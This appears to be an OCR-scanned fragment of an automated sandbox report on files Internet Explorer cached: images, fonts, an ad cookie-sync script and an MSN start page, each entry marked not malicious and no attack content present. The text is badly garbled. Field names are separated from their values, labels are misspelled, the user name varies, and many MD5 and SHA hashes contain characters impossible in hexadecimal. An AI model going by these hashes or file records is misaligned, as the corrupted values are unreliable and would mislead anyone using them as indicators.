
false
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\4996b9[1].woff

Preview:

............ 3B il HL @0 U
.Y.d.cd]d.b.d.ld.b.dfd._.d"d.(db.d"db.db.d..d.d_d._.d.d.dP.d0.db.db.dP.dudcd?d_.d.gqg.d._.dddb.d._.d._.d.
bdadbdadbd d..drdAdd[d...d...d$.dp.d..d.d d._ de .d.b.d.b.d.b.d.i.d.d.d..d. d d7d"dXd]d)dIdIdbdbd .d.,.d.b.d.b.d...d...d...d.7.d.b.d.1.
d.b.d.b.d..d..d.d..d.dAd.d.d.(d" .d...d...d.’\.d.r.d.f.d.,.d.b.d...d.b.d._.d.q.d...d...d.b.d.b.d.b.d.b.d...d.r.d.I.d._.d.b.d.b.d.b.d.V.d.Z.d.b.d

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\5284c00c-0b6e-439c-9e27-03¢c3bb27bbf0[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
dropped

54360

7.963600206894257

false

1536:mzt2uoZRa9fi3LRVOUSVVDLLtp7/4+TOE7S6+e5:+0ZRcil2USPDz7g+ZEG625
51C3549320582BD4D402A73017F29D30

2E2092202605EA93D17EDD253ADBB161EEE30BA7
DC9B31C674B592EBEO6A2EB69570A31A95E5BB357F12836FC8C016E96AD5607B

S5EF8BCC79C55C440DE41C2B7949F8C2593E763050D15CCD6EOD2480355DECBC22FB321F95EDD4F1BF775B2F3960B706304B6F4D4FB59C8CBC57C0A787B77As
C

false

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\755{86[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced

dropped

390

7.173321974089694

false
6:6V/IhPZ/SIKR7+RGjVjKM4H56h6269eG3AXGXQm+cISWADBOwWIaqOTp:6v/71IKR7ZjKHHIr8GXxQJcISwyOW9
D43625E0C97B3D1E78B90C664EF38ACT

27807FBFB316CF79C4293DF6BC3B3DE7F3CFC896
EF651D3C65005CEE34513EBD2CD420B16D45F2611E9818738FDEBF33D1DA7246
F2D153F11DC523E5F031B9AA16AA0ABLCCABBB7267E8BF4FFECFBA333E1F42A044654762404AA135BD50BC7C01826AFAIB7B6F28C24FD797C4F609823FA457E

..MIDATH.c...?.6’hhx....... LI g.&hbb....... RR.K..X<.w..#
,>Hber9 0.../_.DQ....Fj.m...e2{ +.t~*..z.Els.NK.Z............. e...0J.... |..UF.>8[...=.

.0 ...C.F__x2...72.y..s1m2..1011102.F.(
....0....v..n.bd...9.<.2.10..... T.A..&...

....Wplqqg...6mbD..H....=.bt.....
JIEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB170q7z[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

399

7.145774342359397

false

6:6v/IhPKkR/W/6T+sVE+1XvbhQvw+f/lUdGRhDgaY oikJermvemqULamJ1xVp:6v/78/W/6T+sVx1DOwWBIRpVY3kUmLPX7
OF5F3696CCC112920F4E77FDBDEE13F5

BOABC992DACBCB5E0A6176B83B319EOEE6FCCDAG
F50A1F714F6E3FFAFAA0AED7DD212A28C9B504D20F03A51EFA7F41E4F48B2309
ED62D9D17F0DF309606711B1C50B631302E8AF596DEOD74294233B85182B7A6BC99B1FA228CC7332EF2E8168CB6CFDDE32868DEE6701A2DF24FBO01F219A05C

false
PNG........ IHDR.....coveis a...sRGB......... gAMA.....a....pHYs............. $IDAT80..J.P.3.+A.$.?.....L.0o.t....... g...V.....uN..1-.....0..73..y.0B.c.J....u.Hjl.ef.....F..| {....B.)t.
4..Z.#hcl.4..=C4.*...(.7.XK....+.kKEHK{.0<...S.Z....H.w..~....h..0l.K4;....... m...x.P.=..gIW.M..h.Hh jfK$.."..E.U."....... d20~..Eq%.h.}..T..0.ys.~.d..=bs......N8..,<....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cGhUX[1].jpg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
dropped

29817

7.955640346700272
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cGhUX[1].jpg

Encrypted: false

SSDEEP: 768:7kMWUjGB+acvwVwz3HI0Jra3DzK8mGQOu6: 7kMBjAUWS3FUrYzK5GQOu6

MDS5: FOE2739C8E043AAC723BA82DCE096A89

SHA1L: D357BD24730846AC776AA506BA8BE480325B4AF7C

SHA-256: A10F6530282BA9C7C34EF52A99D873A18A7CB2DF1CD234C9BE5S776347C4D6ED9

SHA-512: ECE6B5294169D6065ED85E4EF6D071AEDA5513FD80BCD4B0C2B2A489177A5FDD3D962DB2EC35AB0305C7D0ASCIBD57D756A4139BC8AD5107CE7DB1BC16AA
B343

Malicious: false

Preview:
...... JFIF...0 i Crie )10) 3:J>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&..&05-500000000000000000000000000000000
00000000000000000O0......p.N.." }oJ1ALQag 2. #B..R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz

&'()*56789:CDEFGHIJSTUVWXY Zcdefghijs

tuvwxyz LV~ZBzZ 7.8 @...J98. C@S\ ...... A.h ....... G..#.Mo.C.@.s...@..sFy>....... Seeiden.G
..~T.q...6)..P..778....5 0.n.....)..@.,p0{....X..=h.h.@L..K....jF...h.8.4.(n}.A.j2...9..9<......4. #.<..R[1..5jh[27}h.e...iA..L
S 2.3%.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1cKZI5[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 206x250, frames 3

Category: dropped

Size (bytes): 8939

Entropy (8bit): 7.940127829825763

Encrypted: false

SSDEEP: 192:xCJIL+9dC2Ysx37k/OGpQLk+OHoJyuuMIgWKNBI41Sursl:UJvirk/OGpQ10Mx1Surs|

MDS5: 7D8C669044D05069EA7F5F17232F6D2C

SHA1L: F81EF1CC6A17FB19E07A51395FF5364F436B2669

SHA-256: 01BB242426B6C958A013F591A79E1A30D64237383EF8676B3EFFID2732BABCCB

SHA-512: 22B13017CCAAF2D77BF9230AED93426AF686D5E6700398F9A38843DC7A5336D02EACAD2F1C16AABAFEC58084324C8043B18B779C53BC732ADA58D4FBAD1AD|
4C

Malicious: false

Preview:
...... JFIF....HH....C...oeevrrn o )100)-,3:3>36F 7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000.. 11A..Qa."q.2...#B..R..$3br........ %&'()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz

11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXY Zcdefghijs

tuvwxyz. ?./.C.@.c....J 0M.g8Y~...]..@}k.*....r.k...0....q....4..<.RqR..,."C..#.7"..E9y..Nq..S2.B.nK..z.hU.".8.0.%.
TS J.u.U.[6..a{H..&.m +~..}d?.U.{.0kg........ )-.Lo# Ve Zmm). 20 AKY XL Y S 20 tm$ T AL VUL ) L& f gL - J8X ) S Lu9.923 . {z R;
.%.UV...4.V/suNH..Z.y....>.].s.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cTAhN[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3

Category: dropped

Size (bytes): 16580

Entropy (8bit): 7.906555285339256

Encrypted: false

SSDEEP: 384:77NrCp7xEELfqlYX81lubyfVCdKK4G4ksiysEfyE:7xrsDqlSec6AU09Gfa

MDS5: 1C4FB1FD6E291A64EA4430C4DBD943D3

SHA1L: ACACC5173E0CEODF0387D0761775B15068FB97E1

SHA-256: 70F095DE7314B153099186B413D86184324F24D490BOFC6B3A175BF92D76F424

SHA-512: 30F012FA7CA7B480754FB263E6FCBI9ECEEODO7D6C37E6817274E395ADESBEODDS5DB1FD24F1E95A854C043CBASAAS575AF3220F69D7E7681347C4128F1A142C16:!
F

Malicious: false

Preview:

)10) 3:3>36F7,-@WAFLNRSR2>ZaZP JQRO...C.......&.&05-500000000000000000000000000000000
000000000000000000. ... D1 oo b J1A.QaG.2.. #B. R..$3DT........ %8/ ()456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
............. W......11..AQ.aq."2...B.... #3R..br...$4.%. .. & ()*56789:CDEFGHIJSTUVWXY Zcdefghijs
tuvwxyz. . S.%IT..Z.....U.(.3.3.9ZnsJ* p." b..R K..YC.*' X K.SY.Q..-J.+..Vza9.H..&.4.. 4.S.DL..2%..L.....E.8.K;0.
2)..i..;.8...K.5.PMh.Z.q........m#..whOp+d.Un *i...i .....0.$5. 72@ gHE;4...1A.C@\.. P)P S.FW.SR..d.R.M4.>)c..jh4......c.H8#...€]....*OQ.P..QH...J..Sv...dEh.O"..n.r.<-=V
..... (ZB)...T.S.0.)..9..H...3SKS.....ni....D...C....U.R..Ve.F9...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cTJOP[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 8430

Entropy (8bit): 7.938202267820665

Encrypted: false

SSDEEP: 192:xCnGcBuR8g/9Y/9Ve28nzex5e6+rin5r/03pU0Qde8Y|ZHVbhdQQOP:Unz7R8g/ybe9nzex5tIst1tVdS

MDS5: B055349B6DF228666C4C8E6537D7DC8E

SHA1L: 5BC72D83A78E29331A631FA981EA0202074633D4
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cTJOP[1].jpg

SHA-256: 9F8236F7ACICB3F11EDA5935C94AC04D3EDBO9ED4865546DFA50538B9FF86023

SHA-512: 3A331C91664AA9788734DE2B74CD1A0C4A40A3F2B65ADADDF7B011C17BA9646C4C3313C2D41822DC38E2C7A79402F0BE963148690089AE0226BC0863F0C4D5€E
Malicious: false

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cTOSE[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 350x350, segment length 16, baseline, precision 8, 310x166, frames 3

Category: dropped

Size (bytes): 5327

Entropy (8bit): 7.887546802469802

Encrypted: false

SSDEEP: 96:FGEEMeQCgamdOfCjMrSC7YN/SI76ZiTpUzQz70tVjdDIzOWCZ3p/qfu68z:FFqQCNRCjH5NqI7LtEdgCZ3pCuF

MDS5: 76BB4A9DFD6556E6471B809628F29C34

SHA1L: 162529A64DCADS5E9A24479094908C4BEB646D72

SHA-256: 8B428D0ODB5327E1F9BF1613465153DC126E18C6CE94531EE78794E5340EC50EB

SHA-512: 19019C4D8DDE94DOEACFOD370600EBADO7D5FF86B4C364F9CE47B1C341C5197335CE3C1A9018CF3FC5F6563234D0320FECBC5369978005CCB2C9269BFAB5S87
3

Malicious: false

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cTQIP[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 100x75, frames 3

Category: dropped

Size (bytes): 2805

Entropy (8bit): 7.840926286478558

Encrypted: false

SSDEEP: 48:xGpUERA9eMfAouUNAa4PGWzPd6JivbH277J7MM3UdL+U0u893FS:XxGAE8JUNAhJIQb7tQBpOu6o

MDS5: AE624DE761714F85B3FC6B3C1157664F

SHA1L: 010AD451EC6CD3115898002550C936CE5697C366

SHA-256: ACA71B59B892EEID3C933293A2C6C6C1FB2BES0798083422B05A35B7A2BFI56C

SHA-512: 092D96712BC3043625FA10C4AA043ABES8275054EF74302E0024E86EF13B17AEAA57523F265C46C197C5914E97BD27E6638C473135502A9FC661C6A8237B343D

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cTSXL[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3

Category: dropped

Size (bytes): 10342

Entropy (8bit): 7.948687858379083

Encrypted: false

SSDEEP: 192:BCaKemALUfNTAbJjUxoeDOh8db0OkvRkIsSU19X0jKTZSI+WsLhD/kuA9:kasXpAJUeh8F1kvDy9X0GAKhD/k3

MDS5: F1A878685E43C9C51C1DF8BOEEB5CA19

SHA1L: B3707241379D638F3C1B923F99162C4E693FD763

SHA-256: B2AE48F4A6D0656CC423017D06DDDC23085BA1EFC2EDB48ADFED448BCBE4DB7A

SHA-512: AADCAOCA7EOBAEEEO5B50FE14AA2DC251C0196C5868688E90737D4993592340F62E858AA24E126A63DBI6E62ESAE7B5DF86EBDES68C5CAE022E11A35A33DF!
31

Malicious: false
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cTSXL[1].jpg

Preview:

...... JFIF..coiieeCriiiien w2 1)10.)-,3:3>36F7,-@WAFLNRSR2>ZaZP  JQRO...C.......&..&05-500000000000000000000000000000000
000000000000000000.. .J1A.Qa."q.2...#B..R..$3br........ %&()*456789:CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
11..AQ.aq."2...B....#3R..br...$4.%.....&'()*56 789: CDEFGHIJSTUVWXY Zcdefghijs
tUVWXYZ. ?..U.)2..0.....0.iHa..h..<.w... .gjH.R..Tq[6...8....... .Y.#.2i..6R..KA...}.C"".N*...1&.ID..Q #........ & M7SvH
.N\P.Q..Bz.n.Z1@_.....X.5....c...... %.....2.8...t....00{.qu)y$l....(tx. T.6jYY<...... ILH.]>..K;.K...6).}...]. 4.##.u.b....[..$.>gb....L#...E..Q.7g5VD.0..l..T.&...2.'S.\M +JU..j..H..v
Z.ZRsRH....... w..N.....K.q!

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cTVrU[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3
dropped

11268

7.9513415908029135

false
192:BCGJC1Qg3LLINaGpOYFfIOHV2n7mgKqULWGLFA6cTOMKVOHdhsAftI9mM6NnE/:kGICCMhnFpOY 1F12nqy0lf66ydIHrK
92393CCBED51B383DDE493EDBBD97176

100EE7503DD0B2E781F605A04E7B4BFC16DF4788
8D3031D13D9E8BE84225CF11B1CED8680436272317214C723D0E59C4D1C547895
C6BOCF9B2ED84CCB50AB8ADD86967D4499B8562425199155ABCF6902BD787F31E6CFD3686D48CC950269682226958D7AFC38759E3D702C72ED651FB155F3CFI

false
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cThMF[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 310x166, frames 3
dropped

9077

7.94454404370964

false

192:BF+PzC62pNUiIFOhqCdzfnX7kumj513jgymcJZV255Pxuto:v+PG6cFOh7dDgHjgymM2540
73B78392A003966B72ADA2C4E9D44F4D

8841FB40A06EFB157C208842D0C9660C1F928328
A2CB8B466C39BCIDAS8545E3CIE2ALC73EBIGBDE1SC7B5A9C25658 A9B5CE2D1E

39EBBDE69F18AC2D88C8DIFOBO60CODCE05802B59CBBAEBBA55FAEAS027EBE3A04D6D1DBIEB49D1E62417C 15697 E98200ABAEFOBDC2F113DEOF9EAB261226!
F4

false

tuvwxyz
{mjX...YL..d }tZ.Q < \..v
\V...K6.4..+.vQgN..*...L.?..GBjXm

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1cTzKu[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3
dropped

6384

7.916022624027781

false

192:BCA0hNz53k+0cQgHUbHgmy+bQrUpvDXAg6XzYEDgR:kAohzlOxHOUBXyj1DgR
1E29C6DDOABB0O1DA6603BDD4ABE4ED7D

0A10A4305B05302F50311F061CD9DED544683FAB
BCAE23A7933B91E9BIDF87F59759DA36457B22B4ADE929BD23C467E3124691ED
4751F936890CFOE36EDF10531AC14AA16A1400BD835E5AA6B7063D85B07B4939E1FD07AA0624DEF5B82F24391685D41568A5D853B993FA7C339DF3C71B205810

false
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cUOvVL[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 206x250, frames 3

Category: dropped

Size (bytes): 7016

Entropy (8bit): 7.924316280421275

Encrypted: false

SSDEEP: 96:BGAaECsDIjUvHOyMxIFa++B30ygbdKG4qISnH72PVxf9+rV5jcQBwKI:BCHsD+vHO+++BkBdL4WSh2PV5KZBw4

MD5: 4FBB9A89D7D40915A45CCE947F53629F

SHA1L: DI9D1E9C011F50E41D990756406F3D392E66CI9EB

SHA-256: 11CD79A4E99ACBB991A39BD260FDFFED5A2E7A0CB40A7705A45D0605062C3A4E

SHA-512: 80D139EEFFD3288C35C6FB340EAFBC1BDIA36635E2FA37B27A893A3BF14E61AAB850F3C074A8A1DD2899EFE66B3795AACFC793AA2E3D8CAB24B3CC7244945¢
6C

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\BB1cU6PN[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 0x0, segment length 16, baseline, precision 8, 311x333, frames 3

Category: dropped

Size (bytes): 10553

Entropy (8bit): 7.934628596358322

Encrypted: false

SSDEEP: 192:BYTmiTFoDB/UhFbKE+ZagYKyGBmaOff73+HiPYHC4Zyi:eTxFot/U7bKEhgYNfzuHIHC4d

MD5: AD3EC735977A0B6EAE61E5CID47DCCF3

SHA1L: 3FAF378AFADB6D4762A42E8E298E2F7431F4F935

SHA-256: CD89EA01709136C69BD6761541CD5B12FBFF950D50773E4F5576A7F8E716414A

SHA-512: AFD938FC6E745CE3309E8506B7722301DC7266E24441A3803CF5272D778AC7FAF27926ED882DOESDCBDEA59450D227EC127E20DAFOBCFDASDECC42458BD92!
D8

Malicious: false

Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBIbTiS[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 820

Entropy (8bit): 7.627366937598049

Encrypted: false

SSDEEP: 24:U/693+qQtUHYXNAM43wuJFNnFMDF3AJ12DG7:U/6gMqQtUSXNT43BFnsRACC

MD5: 9B7529DFB9B4E591338CBD595AD12FF7

SHA1L: 0A127FA2778A1717D86358F59D9903836FCC602E

SHA-256: F1A3EAODF6939526DA1A6972FBFF8844C9AD8006DE61DDI8AID8A2FB52E1A25D

SHA-512: 4154EC25031ED6BD2A8473F3C3A3A92553853AD4DEFBD8IDCADD72546D8ACAF8369F0B63A91E66DC1665CE47EES8DIFDD2CAEEFCC61BF13C87402972811AB
27

Malicious: false

Preview:
.PNG.......IHDR. ..a....sRGB. .gAMA..
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBK9Hzy[1].phg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 541

Entropy (8bit):  7.367354185122177
Encrypted: false
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBK9Hzy[1].phg

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:
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F8987C61D1C2D2EC12D23439802D47D43FED3BDF
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBVuddh[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

304

6.758580075536471

false
6:6v/IhPkR/ChmU5nXyNbWgaviGjZ/wtDi6XxI32inTvUI8zVp:6v/78/e5nXyNb4lueg32au/
245557014352A5F957F8BFDAB7A3E966
9CD29E2AB07DC1FEF64B6946E1FO03BCCOA73FC5C
0A33B02F27EE6CD05147D81EDAD86A3184CCAF1979CB73AD67B2434C2A4A6379

686345FD8667C09F905CA732DB98D07E1D72E7ECDIFD26A0C40FEEBE8985F8378E7B2CB8AE99C071043BCB661483DBFB905D46CE40C6BE70EEF78A2BCDEY4!
05

false

..a...sSRGB........gAMA...... a....pHYs..
.,5+.].BP.5.>R....IJ.0.7|2....r.\-Ca..

+......IDAT80...P...3....v.."0.}.
.IEND.B".

..d.g.mSC.i..%.8.}...m.$IOM..u.. ...,9....

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBkwUr[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

431

7.092776502566883

false

12:6v/78/kFkUgT6VOUNWQYst4azG487XqYsT:YgTAOUNwWMM487XqZT
D59ADB8423B8A56097C2AE6CBEDBEC57
CAFB3A8ABA2423C99C218C298C28774857BEBB46
4CC08B49D22AF4993F4B43FD0O5DE6GE1E98451A83B3C09198F58D1BAFDOB1BFC3

34001CBE0731E45FBO00E31E45C7D7FEE039548B3EA91EBE05156A4040FA45BC75062A0077BF15E0D5255C37FE30F5AE3D7F64FDD10386FFBB8FDB35ED8145F
C

false
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\a5ea21[1].ico

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced

dropped

758

7.432323547387593

false

12:6v/792/6 TCfasyRmQ/iyzH48qyNkWCj7ev50C5qABOTo+CGB++yg43gX4b9uTmMI:F/6easyD/iCHLSWWqyCoTTdTc+yhaX4v
84CC977D0OEB148166481B01D8418E375

00E2461BCD67D7BA511DB230415000AEFBD30D2D
BBF8DA37D92138CCO8FFEEC8E3379C334988D5AE99F4415579999BFBBB57A66C
F47A507077F9173FB07EC200C2677BA5F783D645BE100F12EFE71F701A74272A98E853C4FAB63740D685853935D545730992D0004CID2FE8E1965445CAB509C3

false
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.X.=YHJT.R.....72w/...Bh..5..C...2.06........ 8@A..."zTXtSoftware..x.sL.OJU..MLO.JML.../.....M....IEND.B".
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\IMEEXW4H4\checksync[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCI!I text, with very long lines

dropped

20647

5.298160305572905

false
384:PFBAGM6EIzD7XzeMk/Ig2f5vzBgF30ZOQtQWwWY4RXrqt:9SEJIDNCi2RmF30sQtQWwY4RXrqt
5B2D766D584BA7533F11EDCFD4E41294

27864FF83922B20C28E1A28AA81D3D4CBF08A378
B8390B7FC30203272A4D556451A29D2B39A3F87AADCI39D564E7D8861271A966

EACEB2DE3057B61E6A62B463306A22334F8B5201C7B3336066B0390A2A426EDDFDODBCOFFA81CDCE95BCEB18D40D868BAAOSESBECA3AGS5F36AD623943AA6A
A8

false

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":73,"visitor’
" "sepCs":"~~" "vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-
V", "isBI":1,"g"0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g":0,"cocs":0},"Ir":{"name’ N g

0","batch™:{"gGroups":[*apx","csm","| " "elx”,"ys", "sov","fb","r1","g","pb","dxu", "rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\\V/cslogger.

'vsCk":"visitor-id","vsDaCk":"data","sepVal

" "isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
‘cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSiteSupport":"

ppt","rben”,"son","bdt","con”,"opx", "tx","mma’

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\de-ch[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators

dropped

429509

5.435867506069565

false
3072:ZInJU2xx+istaFuOYhOoD5ykEFyHND892VHDsbJIA[fP6QmMEhjUJFVRTqLa:ZInBOIEHNrVaTfyQmgMVRTf
AAB51F30A234492F908D836B277E4EF5

8751D7832E517F53B4533F83FC2CCBDEG73E72EB
055C601EADE255F1A60DD4530163CEA46DDES43A3C22856A62BA5D55EBDD5128

28EF1AB50F5B4D5A9F1F932353F96E50C2CA526CC372202A1A1CC23405904DCBCO29EBDG6DFAEFC19070D7F2CES775980756A8BA7TES75CA2679D8BIES2B2A3
8

false

<IDOCTYPE html><html prefix="o0g: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" lang="de-CH" class="hiperf" dir="ltr" >.. <head data-info="v:20210116_305543
80;a:b4f87cee-c863-4cal-b5d0-e03dfb01lc34a;cn:19;az:{did:951b20c4cd6d42d29795c846b4755d88, rid: 19, sn: neurope-prod-hp, dt: 2021-01-06T22:44:08.1665606Z, bt:
2021-01-17T01:15:50.5620070Z};ddpi:1;dpio:;dpi:1;dg:tmx.pc.ms.ie10plus;th:start;PageName:startPage;m:de-ch;cb:;l:de-ch;mu:de-ch;ud:{cid:,vk:homepage,n:,l:de-ch,ck
}1:xd:BBggbZW;ovc:f;al:;fxd:f;xdpub:2021-01-12 22:59:27Z;xdmap:2021-01-20 06:46:25Z;axd:;f:msnallexpusers,muidfltcf,muidflt12cf,muidflt21cf, muidflt53cf,muidflt
59cf,muidflt313cf,mmxandroid1cf,pneedge2cf,moneyedge2cf,pnehp3cf,platagyhplcf,onetrustpoplive,1s-bing-news,vebudumu04302020,bbh20200521msncf,csmoney3c
f;userOptOut:false;userOptOutOptions:" data-js="{&quot;dpi&quot;:1.0,&quot;ddpi&quot;:1.0,&quot;dpio&quot;:null,&quot;forcedpi&quot;:null,&quot;dms&quot;:6000,
&quot;ps&quot;:1000,&quot;bds&quot;:7,&quot;dg&quo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\e151e5[1].gif

Process:
File Type:
Category:
Size (bytes):
